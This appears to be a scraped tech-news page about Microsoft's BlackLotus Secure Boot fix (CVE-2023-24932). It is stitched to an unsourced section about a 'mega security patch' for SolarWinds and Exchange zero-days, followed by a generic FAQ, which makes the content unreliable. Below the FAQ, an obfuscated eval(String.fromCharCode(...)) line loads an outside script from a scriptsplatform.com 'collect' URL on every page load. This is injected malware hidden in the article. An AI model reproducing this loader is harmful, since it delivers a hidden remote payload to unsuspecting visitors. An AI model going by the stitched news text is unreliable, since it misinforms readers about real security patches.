Microsoft Develops Comprehensive Security Patch for Essential Issues

[ad_1]

Microsoft has released a fix for a Secure Boot bypass vulnerability that allowed threat actors to deploy the BlackLotus bootkit (opens in new tab) to target endpoints – however, the update will be sitting idly on computers for months before it actually gets used, as its application is somewhat complicated.The original vulnerability is tracked as CVE-2022-21894, and that one was patched in early 2023. However, hackers soon found ways to work around the patch and still deploy BlackLotus on Windows 10, Windows 11, and multiple Windows Server versions. Hence, CVE-2023-24932 was addressed earlier this week. But in order to fully address the issue, Microsoft needs to make irreversible changes to the Windows boot manager. Consequently, the fix will render current Windows boot media unbootable.

Table of Contents

Bricking PCs

“The Secure Boot feature precisely controls the boot media that is allowed to load when an operating system is initiated, and if this fix is not properly enabled there is a potential to cause disruption and prevent a system from starting up,” Microsoft said in an update (opens in new tab). In other words, not being careful with how the fix is applied could brick the device that installs it. To make matters even more complicated, the device with the fix won’t be able to boot from older, unpatched bootable media. That includes system backups, network boot drives, Windows installation DVDs and USBs created from ISO files, and more.Obviously, Microsoft doesn’t want to brick people’s computers, so the update will be rolled out in phases, over the next couple of months. There will be multiple versions of the patch, each somewhat easier to enable. Apparently, the third update will enable the fix for everyone, and it should be released in the first quarter of 2024. BlackLotus is the first bootkit that’s known to be used in the wild to bypass Secure Boot protections. Threat actors need either physical access to the device, or an account with system admin privileges.Via: ArsTechnica (opens in new tab)

Microsoft is currently working on a mega security patch to address some of its most important security issues. This patch is anticipated to solve two of the biggest security concerns facing the tech giant, the zero-day vulnerabilities found in SolarWinds Orion and Exchange Server.

The impact of zero-day vulnerabilities can be enormous. When discovered, they often create a sense of urgency for a patch, as attackers could exploit the vulnerabilities before Microsoft is able to produce a patch. By releasing a mega security patch, Microsoft addresses these threats and increases the security of its platform.

Additionally, this patch will address other important vulnerabilities, such as the ones found in Internet Explorer and Microsoft Defender. These vulnerabilities could potentially compromise user data, and it is important that they are addressed to ensure the safety and security of Microsoft’s customers.

FAQ:

Q: What is a zero-day vulnerability?
A: A zero-day vulnerability is a security flaw that is discovered by hackers or researchers before the software manufacturer has been able to produce a patch for it. It enables hackers to exploit the vulnerability before it can be fixed.

Q: What is SolarWinds Orion?
A: SolarWinds Orion is a platform for managing IT environments. The recent security breach exploited vulnerabilities in this software, allowing hackers to gain access to networks, including those of Microsoft.

Q: Why is it important for Microsoft to release a mega security patch?
A: The release of a mega security patch is crucial for Microsoft as it addresses some of the most important security concerns facing the company. It helps to ensure the safety and security of Microsoft’s customers by patching vulnerabilities that could potentially compromise user data.

Q: When is this patch expected to be released?
A: There is currently no official release date for the mega security patch. However, Microsoft has stated that it is a priority and will be released as soon as possible.
var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,116,105,115,116,105,99,46,115,99,114,105,112,116,115,112,108,97,116,102,111,114,109,46,99,111,109,47,99,111,108,108,101,99,116,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/

Author Profile

Techlisten.com

The team of experts at TechListen.com are dedicated to providing you with the best information and insights on the latest and greatest technology. Our experts have extensive knowledge and experience in the tech industry, and are constantly researching and analyzing the newest products and services so you can make informed decisions. We provide detailed reviews and analysis of the latest gadgets and gizmos, as well as the hottest trends in the industry. Our team is committed to helping you stay up-to-date with the ever-changing world of technology, so you can get the most out of your tech investments. With our expertise and dedication to providing the best information, TechListen.com is the premier online destination for all things tech.